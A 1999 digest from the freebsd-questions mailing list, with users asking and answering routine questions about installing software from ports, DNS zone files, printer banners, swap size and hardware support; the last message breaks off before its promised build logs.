>  Dana Point, California  83 09 EF 59 E0 11 89 B4   8D 09 DB FD E1 DD 0C 82
> 




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From owner-freebsd-questions  Wed Mar 24  9:37: 5 1999
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Subject: StarOffice Blues (pun intended :-(
To: freebsd-questions@freebsd.org
Date: Wed, 24 Mar 1999 17:33:16 +0000 (GMT)
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Hey All

following the 'instructions' found on lt.tar.com
I tried to get SO-5 running, this is what happened:

SETUP runs, asks all the questions, gets to 99% done
and hangs forever. top reports that setup.bin is in
'pause' state (??)

Any ideas or hints, please ? My gut feelng is that
I _might_ have missed something in the kernel config,
but I think I have stuck everything required there.

Thanks in advance


Kiril



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From owner-freebsd-questions  Wed Mar 24  9:59:44 1999
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From: patl@phoenix.volant.org
Reply-To: patl@phoenix.volant.org
Subject: Re: real newbie doubting between linux/freebsd
To: Luc Segers <Luc.Segers@vnet.atea.be>
Cc: freebsd-questions@FreeBSD.ORG
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>         I have some questions: I would like to be a new computer with
> all the newest hardware: Soundblaster Savage 4 videocard, Soundblaster
> live soundcard, Pentium III (I will wait for the new very fast
> motherboards).  ...

If you're really looking for speed, you might want to go for the
AMD K6-III instead.  It's cheaper; and the benchmarks say that it
always beats an equally clocked Pentium III.  (In some benchmarks
a 450MHz K6-III out-performs a 500MHz P-III.)



-Pat


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From owner-freebsd-questions  Wed Mar 24 10: 3:25 1999
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From: patl@phoenix.volant.org
Reply-To: patl@phoenix.volant.org
Subject: Re: FreeBSD FAQ and a.out
To: Ian Lance Taylor <ian@zembu.com>
Cc: freebsd-questions@freebsd.org
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> We did encourage people to move to ELF, because it is better.  It
> supports multiple sections, permits the alignment of those sections to
> be set individually, and it provides shared library support that is as
> good as SunOS and is easier to understand.  ...

It is as good or better except for one thing.  It doesn't support
minor revision numbers on libraries.  I know this can be something
of a religious issue; but I still believe that their advantages
outweigh any percieved shortcommings.  (And I do believe that the
transition to ELF was, overall, a good thing.)



-Pat


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From owner-freebsd-questions  Wed Mar 24 10:10:50 1999
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Date: Wed, 24 Mar 1999 12:11:55 -0600 (CST)
From: "Jasper O'Malley" <jooji@webnology.com>
To: Christopher Michaels <ChrisMic@clientlogic.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: moving /tmp to /var/tmp caused network trouble
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On Wed, 24 Mar 1999, Christopher Michaels wrote:

> Maybe I'm just totally confused.  But I thought "." was the current
> directory, which in this case was the root dir "/".  Or am I missing
> something here?
> -Chris
> 

Don't use relative pathnames when creating symlinks, unless you really,
really mean for the symlink to be expanded as a relative pathname. If you
want /tmp to be a symlink pointing explicitly to /var/tmp, then do:

ln -s /var/tmp /tmp

Cheers,
Mick

The Reverend Jasper P. O'Malley          dotdot:jooji@webnology.com
    Systems Administrator                  ringring:asktheadmiral
	Webnology, LLC               woowoo:http://www.webnology.com/~jooji



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From owner-freebsd-questions  Wed Mar 24 10:21:20 1999
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Cc: freebsd-questions@FreeBSD.ORG
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>         I have some questions: I would like to be a new computer with
> all the newest hardware: Soundblaster Savage 4 videocard, Soundblaster
> live soundcard, Pentium III (I will wait for the new very fast
> motherboards).  ...

The Soundblaster Live will not yet work with FreeBSD or Linux.

Nathan

-- 

Nathan Ahlstrom
nrahlstr@winternet.com
http://www.FreeBSD.org/


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From owner-freebsd-questions  Wed Mar 24 10:26:57 1999
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Date: Wed, 24 Mar 1999 11:26:29 -0700 (MST)
From: Adam Ulmer <ulmer@ulmer.iserver.net>
Reply-To: Adam Ulmer <ulmer@ulmer.iserver.net>
To: freebsd-questions@FreeBSD.ORG
Subject: MySQL mysql-3.22.20a FreeBSD 3.1
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I am having trouble building the latest mysql on the latest freebsd.  It
seems to be having troubles with the MIT-PThreads.  It is my understanding
that the threads in FreeBSD 3.1 (ie: native threads) are sufficient and
that the mit-pthreads do not need to be installed.

Here is my info.  Thanks in advance.

adam# uname -a
FreeBSD adam 3.1-RELEASE FreeBSD 3.1-RELEASE #0:  Mon Feb 15 11:08:08 GMT
1999 jkh@usw3.freebsd.org:/usr/src/sys/compile/GENERIC i386 
adam# gcc --version
2.8.1
adam# gmake --version
GNU Make version 3.77, by Richard Stallman and Roland McGrath.
adam# ./configure --with-mit-threads=no --prefix=/usr/local/mysql
<snip>

Configuring MIT Pthreads
creating cache ./config.cache
checking for gcc... gcc
checking whether the C compiler (gcc  ) works... yes
checking whether the C compiler (gcc  ) is a cross-compiler... no
checking whether we are using GNU C... yes
checking whether gcc accepts -g... yes
checking for c++... no
checking for g++... g++
checking whether the C++ compiler (g++  ) works... yes
checking whether the C++ compiler (g++  ) is a cross-compiler... no
checking whether we are using GNU C++... yes
checking whether g++ accepts -g... yes
checking compiler availability and simple error detection... ok
checking how to run the C preprocessor... gcc -E
checking for ranlib... ranlib
checking host system type... i386-unknown-freebsd3.1
checking target system type... i386-unknown-freebsd3.1
checking build system type... i386-unknown-freebsd3.1
configure: error: System type i386-unknown-freebsd3.1 not recognized or
not supported.
See ./config/configure.in for supported systems.
End of MIT Pthreads configuration
<snip> 

adam# gmake
<snip>
 
Making all in mit-pthreads
cd: can't cd to /dr1/my/masters/mysql/mit-pthreads
gmake[2]: Entering directory `/usr/local/src/mysql-3.22.20a/mit-pthreads'
GNUmakefile:55: /pthreads/GNUmakefile.inc: No such file or directory
GNUmakefile:56: /stdlib/GNUmakefile.inc: No such file or directory
GNUmakefile:57: /stdio/GNUmakefile.inc: No such file or directory
GNUmakefile:58: /string/GNUmakefile.inc: No such file or directory
GNUmakefile:59: /gen/GNUmakefile.inc: No such file or directory
GNUmakefile:60: /net/GNUmakefile.inc: No such file or directory
GNUmakefile:61: /scripts/GNUmakefile.inc: No such file or directory
gmake[2]: *** No rule to make target `/scripts/GNUmakefile.inc'.  Stop.
gmake[2]: Leaving directory `/usr/local/src/mysql-3.22.20a/mit-pthreads'
gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/usr/local/src/mysql-3.22.20a'
gmake: *** [all-recursive-am] Error 2




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From owner-freebsd-questions  Wed Mar 24 10:30:30 1999
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Date: Wed, 24 Mar 1999 12:30:01 -0600 (CST)
From: David Kelly <dkelly@mail.HiWAAY.net>
Message-Id: <199903241830.MAA16885@mail.HiWAAY.net>
To: darin@radio-inc.com, questions@FreeBSD.ORG
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"Darin Spence" <darin@radio-inc.com> writes:
> 
> I just downloaded Samba 2.0.3 (samba.tar) and need to extract it to
> /usr/ports/net/samba over the old 2.0.2 version that is in that directory.
> How should I go about this?
> 
> Should I delete the 2.0.2 stuff out of there first?  When I ran tar -xvf
> samba.tar it put everything in my home directory inside of
> usr/home/darin/pub/FreeBSD/FreeBSD-current/ports/net/samba/
> 
> How can I get it all into the /usr/ports/net/samba directory?

You are doing it wrong. Put the samba-2.0.3.tar.gz file in
/usr/ports/distfiles/.

Just to be safe you should make copies of your samba config files.

Then use pkg_delete to remove the old installation.

Then "cd /usr/ports/net/samba" and do "make clean" to clean up the
prior mess.

"make install" will build and install samba using the file you moved
to  /usr/ports/distfiles/.

Its actually easier not to download the file and move it to distfiles,
"make install" will download it for you if it doesn't exist.

If your ports collection is not up to date then start learning about
CTM and/or CVS and/or cvsup. As the latest Samba sources will do 
little good if you don't have the matching port files.

I've skipped the part about merging old and new config files, and
killing the old samba, and starting the new.

--
David Kelly N4HHE, dkelly@hiwaay.net (hm)
======================================================================
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.


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From owner-freebsd-questions  Wed Mar 24 10:38:43 1999
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Date: Wed, 24 Mar 1999 10:38:45 -0800 (PST)
From: Dan Busarow <dan@dpcsys.com>
To: gregm@netidea.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: speed of DNS
In-Reply-To: <199903241734.JAA23394@everest.netidea.com>
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On Wed, 24 Mar 1999 gregm@netidea.com wrote:
> According to the primer this file should handle reverse lookup as well. It is 
               ^^^^^^^^^^
Which primer?  It's wrong.  The resolver code will always try to find
a nameserver for 1.168.192.in-addr.arpa (in your case) when doing
reverse lookups.  It won't find one in your setup.

> called from named.boot. I'm using the names supplied by the primer for 
> humours sake but changed them for my machines. I'm using 2.2.6-
> RELEASE if that makes any difference. BTW ftp is slow to connect as well. 
> Thanks for the suggestion ... I learned some more in investigating it 8>)
> Greg.
> gregm@netidea.com
> 
> @	IN SOA	 my.domain. root.my.domain.  (	
> 			 961230	; Serial	
> 			 3600	; Refresh
> 			 900	; Retry		
> 			 3600000	; Expire	
> 			 3600 )	; Minimum	
> 	IN NS	curly.my.domain.
> 
> curly.my.domain.		IN A	192.168.1.1	# The FreeBSD box
> larry.my.domain.		IN A	192.168.1.2	
> moe.my.domain.		IN A	192.168.1.3	
> shemp.my.domain.	IN A	192.168.1.4	

Up to here the zone is correct.

> $ORIGIN 1.168.192.IN-ADDR.ARPA
> 		IN NS	curly.my.domain.
> 1		IN PTR	curly.my.domain.
> 2		IN PTR	larry.my.domain.
> 3		IN PTR	moe.my.domain.
> 4		IN PTR	shemp.my.domain.

These entries need to be in db.192.168.1 and be listed in named.boot as

primary 1.168.192.in-addr.arpa db.192.168.1

> $ORIGIN 0.0.127.IN-ADDR.ARPA		
> 		IN NS	curly.my.domain.
> 1		IN PTR	localhost.my.domain.

And this needs to be in db.localhost and be listed in named.boot as

primary 0.0.127.in-addr.arpa db.localhost

(you can change the file names, just make sure named.boot and the files
agree)

Oh, leave the $ORIGIN line out of both new files also, it's redundant.
Both of the new files also need the same SOA section at the top

@	IN SOA	 my.domain. root.my.domain.  (	
 			 961230	; Serial	
 			 3600	; Refresh
 			 900	; Retry		
 			 3600000	; Expire	
 			 3600 )	; Minimum	
 	IN NS	curly.my.domain.

The NS record isn't, strictly speaking, part of the SOA but it is
also needed in each file.

Dan
-- 
 Dan Busarow                                                  949 443 4172
 Dana Point Communications, Inc.                            dan@dpcsys.com
 Dana Point, California  83 09 EF 59 E0 11 89 B4   8D 09 DB FD E1 DD 0C 82



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From owner-freebsd-questions  Wed Mar 24 10:39: 8 1999
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Reply-To: <darin@radio-inc.com>
From: "Darin Spence" <darin@radio-inc.com>
To: <questions@freebsd.org>
Subject: Printer
Date: Wed, 24 Mar 1999 12:35:56 -0600
Message-ID: <000301be7625$27a3db30$2048f0c7@medianet.net>
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I got my laser printer working!  However, it always prints a page that says:

User: darin
Host: 206.52.136.50
Class: 206.52.136.50
Job: stdin

I thought that the banners were off by default?  Where did I go wrong?

Thanks!

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
                                 darin@radio-inc.com
 Director of Information Technology > R A D I O, INC
                     (785) 628-1064, ext. 22 > Phone
                            http://www.media-net.net


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From owner-freebsd-questions  Wed Mar 24 10:45:20 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: "'darin@radio-inc.com'" <darin@radio-inc.com>,
	questions@freebsd.org
Subject: RE: Question on tar
Date: Wed, 24 Mar 1999 13:45:53 -0500
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Where did you get the tarball from?

Put the samba 2.0.3 tarball in /usr/ports/distfiles.
cd /usr/ports/net/samba
make clean
make all
make install

That's what I would do.
-Chris


> -----Original Message-----
> From:	Darin Spence [SMTP:darin@radio-inc.com]
> Sent:	Wednesday, March 24, 1999 12:23 PM
> To:	questions@freebsd.org
> Subject:	Question on tar
> 
> I just downloaded Samba 2.0.3 (samba.tar) and need to extract it to
> /usr/ports/net/samba over the old 2.0.2 version that is in that directory.
> How should I go about this?
> 
> Should I delete the 2.0.2 stuff out of there first?  When I ran tar -xvf
> samba.tar it put everything in my home directory inside of
> usr/home/darin/pub/FreeBSD/FreeBSD-current/ports/net/samba/
> 
> How can I get it all into the /usr/ports/net/samba directory?
> 
> Thanks!
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
>                                  darin@radio-inc.com
>  Director of Information Technology > R A D I O, INC
>                      (785) 628-1064, ext. 22 > Phone
>                             http://www.media-net.net
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Wed Mar 24 10:45:44 1999
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Date: Wed, 24 Mar 1999 10:37:43 -0800 (PST)
From: Chris Coleman <chris@bbcc.ctc.edu>
To: Darin Spence <darin@radio-inc.com>
Cc: questions@FreeBSD.ORG
Subject: Re: Printer
In-Reply-To: <000301be7625$27a3db30$2048f0c7@medianet.net>
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Banners are on by default on the lpr command.  You have to use 'lpr -h' to
disable the banner printing.  man lpr(1) for more info.

	-Chris

On Wed, 24 Mar 1999, Darin Spence wrote:

> I got my laser printer working!  However, it always prints a page that says:
> 
> User: darin
> Host: 206.52.136.50
> Class: 206.52.136.50
> Job: stdin
> 
> I thought that the banners were off by default?  Where did I go wrong?
> 
> Thanks!
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
>                                  darin@radio-inc.com
>  Director of Information Technology > R A D I O, INC
>                      (785) 628-1064, ext. 22 > Phone
>                             http://www.media-net.net
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Wed Mar 24 10:54:49 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 10:55:57 -0800 (PST)
From: Keith Woodman <keith@lightningweb.com>
To: charon@freethought.org
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: 3.0 - 3.1 make stop
In-Reply-To: <3.0.5.32.19990324005850.00a3e330@mail>
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Have done the make depend. <ooppss forgot it the first time>
make depend seems fine. No errors or anything. Then after the make depend
I do a make and get a a scrolled screen of syscons errors.
to many to list here but here is one of the lines.
syscons.0 (.txt+0x5957): undefined reference to "vidsw"
	
Gives the same type of error but undefined reference to 
	kbdsw
sorry for not giving the scads of output of the error. I assume the basic
telling of the error here would be enough. If not I'll post the entire
scroll of errors.

Keith


	----------------------------------------------------------------------

	Keith Woodman					Technical Coordinator 
	Keith@lightningweb.com				Lightningweb LLC


	      pid 7962 (sniffit), uid 0: exited on signal 10 (core dumped)
	----------------------------------------------------------------------

On Wed, 24 Mar 1999 charon@freethought.org wrote:

> At 05:43 PM 3/23/99 -0800, Keith Woodman wrote:
> <snip>
> >7) cd /usr/src/sys/i386/conf
> >8) /usr/sbin/config <kernel name>
> >9) cd ../../compile/<kernel name>
> >10) make 
> >
> >10 minutes later I got that error. Any advise is greatly appreciated.
> 
> You did do a 'make depend' before doing 'make,' right?  Just a thought...
> 
> 
> 
> 
> __________________________________________
>          Charon@freethought.org
>  http://members.home.net/tuathadedanann/
> 
>    "Unthinking respect for authority 
>     is the greatest enemy of truth."
> 	     -Albert Einstein
> __________________________________________
> 



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From owner-freebsd-questions  Wed Mar 24 11: 1: 3 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: "'darin@radio-inc.com'" <darin@radio-inc.com>
Cc: "FreeBSD Mailing List (E-mail)" <questions@FreeBSD.org>
Subject: RE: Question on tar
Date: Wed, 24 Mar 1999 14:01:41 -0500
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As someone else suggested, you will want to look into having the latest
version of the ports tree so that the Makefile in /usr/ports/net/samba will
know what to do with the newer version of samba.  You can find out about
that by looking up CVS/CVSUP at www.FreeBSD.org/

For future reference, the easiest thing to do with the ports, is to 'cd' to
the proper directory, and type "make all install clean"

That will download the proper file, compile it, install it, and clean up
after the compile.
-Chris

> -----Original Message-----
> From:	Darin Spence [SMTP:darin@radio-inc.com]
> Sent:	Wednesday, March 24, 1999 1:51 PM
> To:	Christopher Michaels
> Subject:	RE: Question on tar
> 
> I downloaded it directly from the FreeBSD site.  I did a search for
> 'SAMBA'
> off of the www.freebsd.org page and found a link.
> 
> Thanks for the info!
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
>                                  darin@radio-inc.com
>  Director of Information Technology > R A D I O, INC
>                      (785) 628-1064, ext. 22 > Phone
>                             http://www.media-net.net
> 
> YOU SAID> -----Original Message-----
> YOU SAID> From: Christopher Michaels [mailto:ChrisMic@clientlogic.com]
> YOU SAID> Sent: Wednesday, March 24, 1999 12:46 PM
> YOU SAID> To: 'darin@radio-inc.com'; questions@freebsd.org
> YOU SAID> Subject: RE: Question on tar
> YOU SAID>
> YOU SAID>
> YOU SAID> Where did you get the tarball from?
> YOU SAID>
> YOU SAID> Put the samba 2.0.3 tarball in /usr/ports/distfiles.
> YOU SAID> cd /usr/ports/net/samba
> YOU SAID> make clean
> YOU SAID> make all
> YOU SAID> make install
> YOU SAID>
> YOU SAID> That's what I would do.
> YOU SAID> -Chris
> YOU SAID>
> YOU SAID>
> YOU SAID> > -----Original Message-----
> YOU SAID> > From:	Darin Spence [SMTP:darin@radio-inc.com]
> YOU SAID> > Sent:	Wednesday, March 24, 1999 12:23 PM
> YOU SAID> > To:	questions@freebsd.org
> YOU SAID> > Subject:	Question on tar
> YOU SAID> >
> YOU SAID> > I just downloaded Samba 2.0.3 (samba.tar) and need to
> YOU SAID> extract it to
> YOU SAID> > /usr/ports/net/samba over the old 2.0.2 version that is
> YOU SAID> in that directory.
> YOU SAID> > How should I go about this?
> YOU SAID> >
> YOU SAID> > Should I delete the 2.0.2 stuff out of there first?
> YOU SAID> When I ran tar -xvf
> YOU SAID> > samba.tar it put everything in my home directory inside of
> YOU SAID> > usr/home/darin/pub/FreeBSD/FreeBSD-current/ports/net/samba/
> YOU SAID> >
> YOU SAID> > How can I get it all into the /usr/ports/net/samba directory?
> YOU SAID> >
> YOU SAID> > Thanks!
> YOU SAID> >
> YOU SAID> > ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
> YOU SAID> >                                  darin@radio-inc.com
> YOU SAID> >  Director of Information Technology > R A D I O, INC
> YOU SAID> >                      (785) 628-1064, ext. 22 > Phone
> YOU SAID> >                             http://www.media-net.net
> YOU SAID> >
> YOU SAID> >
> YOU SAID> >
> YOU SAID> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> YOU SAID> > with "unsubscribe freebsd-questions" in the body of the
> message
> YOU SAID>


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From owner-freebsd-questions  Wed Mar 24 11:10:58 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Tony <tbrock@mail.phoenix.net>
Reply-To: tbrock@mail.phoenix.net
Organization: The Org
To: freebsd-questions@freebsd.org
Subject: libintl.so.1
Date: Wed, 24 Mar 1999 13:28:36 +0000
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Anyone know where I can find the shared library libintl.so.1?  It's appearantly
missing from the gnome tgz packages as that's the only thing that's asked for
it but any pointers would be appreciated!

TIA

Tony


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From owner-freebsd-questions  Wed Mar 24 11:13:17 1999
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To: Darin Spence <darin@radio-inc.com>
Cc: questions@freebsd.org
Subject: Re: Printer
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In the /etc/printcap file for the entry for the printer add an 'sh'
(suppress headers) entry.

On Wed, 24 Mar 1999, Darin Spence wrote:

> I got my laser printer working!  However, it always prints a page that says:
> 
> User: darin
> Host: 206.52.136.50
> Class: 206.52.136.50
> Job: stdin
> 
> I thought that the banners were off by default?  Where did I go wrong?
> 
> Thanks!
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
>                                  darin@radio-inc.com
>  Director of Information Technology > R A D I O, INC
>                      (785) 628-1064, ext. 22 > Phone
>                             http://www.media-net.net
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

- Peter Schwenk - schwenk@voicenet.com
-
- Running FreeBSD?  You should be.



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From owner-freebsd-questions  Wed Mar 24 11:14: 8 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 20:20:50 +0100 (CET)
From: dentoir <edtx@xs4all.nl>
X-Sender: edtx@hermit.local
To: questions@FreeBSD.ORG
Subject: FreeBSD fails to detect my 2nd IDE controller.
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When trying to install FreeBSD 3.1, I boot it from the CD-ROM itself and
the default addresses for both my first and my second (0x170 irq 15) IDE
controller are correct. When I continue, the kernel gives me the following
message: wdc1 not found at 0x170 ... I'm sure this is the correct
address. Did anybody have similar problems or does anybody know what
might cause this? Maybe it's something in the BIOS?

-- dentoir



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From owner-freebsd-questions  Wed Mar 24 11:14:17 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 12:13:09 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: mbermal@ucsd.edu
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: GTK/Gimp installation problems
In-Reply-To: <Pine.BSF.4.05.9903232303470.313-100000@celerystick.inetworld.net>
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Hi,

On Tue, 23 Mar 1999, Mark Bermal wrote:

> 	I am installing Gimp 1.1.2 from the ports, and the lib depends
> are all passing, but things that depend on gtk recognize its presence,
> but when they try to test gtk, it says that gtk isn't working
> properly.

We need to see the error before we can make any guesses.  Please try
building again and capturing the error (with script if you'd like) and
sending it to the list so we can see what the error is.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Wed Mar 24 11:14:59 1999
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Hi,

I'm considering a new system for FreeBSD (3.1) which as delivered will have
no SCSI support.  If I decide to go this route, l will add my current SCSI
controller and its peripherals (CD, Tape, disks etc.) to this system when it
arrives.  I've been running concurrent EIDE and SCSI disks for years on my
current systems, but I've never owned an IDE based CDROM.

Since this new system will come with an IDE based CDROM I'd like to know if
FreeBSD 3.1 will behave with one non-SCSI CDROM and (at least) one SCSI
CDROM.

Does anyone have any experience with this configuration?

Thanks,
MikeC

Michael C. Cambria                        Lucent Technologies
Member of Technical Staff                        Bell Labs Innovations
   Voice: (978) 287 - 2807                300 Baker Avenue
     Fax: (978) 287 - 2810                Concord, Massachusetts 01742
Internet:  mcambria@lucent.com <mailto:mcambria@lucent.com> 


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From owner-freebsd-questions  Wed Mar 24 11:22:33 1999
Delivered-To: freebsd-questions@freebsd.org
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Ughh !!

I could have sworn that someone sent me a mail giving me the exact settings for
adding two ne2000 cards to my new 3.1 system prior to doing a rebuild..
But...I can't find it anymore and it's not on the mailing list archives
(perhap's it came direct.).

Can whoever it was send it again please.

Perhap's I failed to move it to my FreeBsd folder and it was inadvertently
deleted from my inbox.

Regards...Martin




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From owner-freebsd-questions  Wed Mar 24 11:23:32 1999
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Date: Wed, 24 Mar 1999 21:22:42 +0200
From: Lonewolf <lonewolf@apotheosis.za.org>
To: jdunn@aquezada.com
Cc: freebsd-questions@freebsd.org
Subject: Re: sshd won't do X11 forwarding
Mail-Followup-To: jdunn@aquezada.com, freebsd-questions@freebsd.org
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On Wed, Mar 24, 1999 at 01:02:19AM -0500, Julian C. Dunn wrote:

> Yes. Here it is. It gave me some more supposed diagnostics about xauth not
> being in the PATH when compiled, so what I did is I went and uninstalled the
> old sshd and then did "make install" again after verifying that
> /usr/X11R6/bin/ was indeed in my PATH. Same deal. Hmm...

did you restart ssh after you installed it?  Did you see it pick up that you
had xauth when you recompiled it?

--
lonewolf@apotheosis.za.org
http://apotheosis.za.org


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From owner-freebsd-questions  Wed Mar 24 11:27:54 1999
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From: gregm@netidea.com
To: Dan Busarow <dan@dpcsys.com>
Date: Wed, 24 Mar 1999 11:28:26 -0800
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Thanks very much Dan. That was the answer, although I did need 
the $ORIGIN line for named to accept the files. If anyone from 
freebsd.org is reading this I should point out that I had been 
following the instructions from the tutorial known as PPP Pedantic 
Primer and prehaps Dan's corrections could be added to those 
pages. Thanks again.
Greg.
gregm@netidea.com



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From owner-freebsd-questions  Wed Mar 24 11:29:48 1999
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Date: Wed, 24 Mar 1999 12:28:19 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Luc Segers <Luc.Segers@vnet.atea.be>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: real newbie doubting between linux/freebsd
In-Reply-To: <36F8AC08.3C7D14CD@vnet.atea.be>
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Hi,

On Wed, 24 Mar 1999, Luc Segers wrote:


>         I have some questions: I would like to be a new computer with
> all the newest hardware: Soundblaster Savage 4 videocard, Soundblaster
> live soundcard, Pentium III (I will wait for the new very fast
> motherboards). My question is: will freebsd work with those new things,
> which one is faster to support new hardware, Linux or FreeBSD and whats
> the time difference. Will you ever support these hardware.

In general Linux supports more hardware and it tends to be quicker.  In
terms of hardware (that's fast like you're discussing) FreeBSD will most
likely support it.  You should check, if you use SCSI, that the card you
buy is supported by the new CAM layer (go look at the supported hardware
list at www.freebsd.org).  

In terms of the video, Linux and FreeBSD typically use the same X server -
XFree86.  You should check and see if they support the vid card you want
(www.xfree86.org).  If they do you can use it to run X Windows on FreeBSD.  

Sound cards are another thing you should check in the list.  I believe the
"live" cards are not supported as yet.

> At first sight FreeBSD seems to be beter structured, and I really like
> some structure. I dont really like the chaos of Linux.

Yep.  Structure is not necessarily bad.  Anarchies may be fun but they
don't tend to work really well.

> Another thing I think is important, is support, and I am testing that
> right now ;-).

It's fast and quick, IF you send in details of the problem you're having.
If you send in "KDE doesn't work" and that's it you're not likely to get
help.  :-)

> You can Buy 4CD-Roms with freeBSD 3.1, but what's on those 4CD-roms ?
> Is there KDE 1.1 ? Everything ?

The CDs contain most of the ports - go to www.freebsd.org/ports to see
what applications are in the ports.  There are over 2100 now and
installation is as simple as a "make install" away. 

> P.S.: I really like the Little Red Devil

Beastie is much better than a fat little penguin!

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Wed Mar 24 11:30:40 1999
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Date: 24 Mar 1999 14:30:14 -0500
To: patl@phoenix.volant.org
Cc: freebsd-questions@freebsd.org
In-reply-to: <ML-3.3.922298579.3061.patl@asimov>
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   Date: Wed, 24 Mar 1999 10:02:59 -0800 (PST)
   From: patl@phoenix.volant.org

   > We did encourage people to move to ELF, because it is better.  It
   > supports multiple sections, permits the alignment of those sections to
   > be set individually, and it provides shared library support that is as
   > good as SunOS and is easier to understand.  ...

   It is as good or better except for one thing.  It doesn't support
   minor revision numbers on libraries.  I know this can be something
   of a religious issue; but I still believe that their advantages
   outweigh any percieved shortcommings.  (And I do believe that the
   transition to ELF was, overall, a good thing.)

The traditional approach is to use symlinks on the libraries, along
with an appropriate SONAME.  For a minor version enhancement, you can
replace the shared library as a whole, although it's true that you
can't simultaneously have some executables which require a particular
minor version and some which don't.

Note that the current GNU tools support a fairly sophisticated shared
library versioning mechanism, based on one developed at Sun. This
scheme permits a particular symbol or set of symbols to be changed
within a shared library, without disturbing the behaviour of old
programs.

Ian


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From owner-freebsd-questions  Wed Mar 24 11:34:50 1999
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From: Peter Brezny <peter@cyber1.net>
To: freebsd-questions@freebsd.org
Subject: swap file size
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it appears that the default swap file size on install is about twice the
installed ram...

is a smaller swap size better for a 2.2.8 machine that is going to be
strictly used as a web server?  one closer to the actual size of the ram
in the box?

thanks.

Peter Brezny
Cyber1.net



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From owner-freebsd-questions  Wed Mar 24 11:34:55 1999
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You seem to be a gamer type, concerning the hardware you're considering.
But the new motherboards w/ the 133 front side bus I don't think will be
released until second have of 1999, probably fall, and if you actually are
going to buy such expensive hardware, why not go all the way w/ the video
card (TNT2 is looking really good, as is Matrox G400 w/ its features)?

Also, I would keep an eye out to see when AMD K7 will be released, on
paper it looks good, but there have been no real benchmarks done. By the
way, the K6-3 isn't always faster than an equally clocked Pentium III, it
depends on the software. For applications that use a lot of floating point
calculations (e.g. 3D rendering) that aren't optimized for 3D-NOW!
instructions, a current Intel processor is always best. Best buy right now
is the Celeron, even at the lower bus speeds (despite what Intel wants you
to believe the jump from 66 to 100 MHz bus doesn't give a large
improvement). If you really want to find out more about hardware
performance, check out one of the many hardware sites
(www.tomshardware.com, www.anandtech.com, www.aceshardware.com etc)

The S3 Savage4 card probably won't be fully supported by XFree86 at its
release date, but S3 is usually very well supported, so future support is
almost certain, however waiting for support can be very annoying. As for
soundblaster, rumor has it that one of the guys from the ggi project
recently got a Creative Labs position as a driver programmer for Linux, so
supposedly there is going to support for Linux in the future, whether
FreeBSD will benefit, I dunno. It is also not known when the drivers will
be out. Even OSS hasn't gotten technical docs from Creative for
Soundblaster Live!, which really isn't a good sign. All in all, though, I
think linux is faster to support new hardware, as it gets a lot of 3rd
party support and a lot of press. I chose FreeBSD over linux however
because of linux emulation: FreeBSD can run most linux binaries with no
troubles.

I would wait until you actually are going to buy the system, and see what
hardware is supported then. Get a list of possible hardware for purchase,
some that might be supported, and some backups that are supported, that
way you can get a full working system when you install.

Mark Bermal



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From owner-freebsd-questions  Wed Mar 24 11:42:55 1999
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Date: Wed, 24 Mar 1999 13:41:23 -0600
From: Nathan Ahlstrom <nrahlstr@winternet.com>
To: Peter Brezny <peter@cyber1.net>, freebsd-questions@FreeBSD.ORG
Subject: Re: swap file size
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Peter Brezny <peter@cyber1.net> wrote:
> it appears that the default swap file size on install is about twice the
> installed ram...
> 
> is a smaller swap size better for a 2.2.8 machine that is going to be
> strictly used as a web server?  one closer to the actual size of the ram
> in the box?

No.  Swap space should be at least 2 times as large as the amount of RAM
you have.  I usually use more.

-- 

Nathan Ahlstrom
nrahlstr@winternet.com
http://www.FreeBSD.org/


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From owner-freebsd-questions  Wed Mar 24 11:46: 3 1999
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To: freebsd-questions@freebsd.org
Subject: Gimp/GTK install troubles (with logs!)
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Hello again!
	I logged the screen output this time, but I don't understand it
really (i'm not a seasoned unix veteran). Sorry about the size of the
message, its mostly logged output (I included the screen output and the
config.log file). So, here come the logs! Thanks for the help!

Mark Bermal

THE LOGS!

When I do the "make install"
for gimp, I get this:

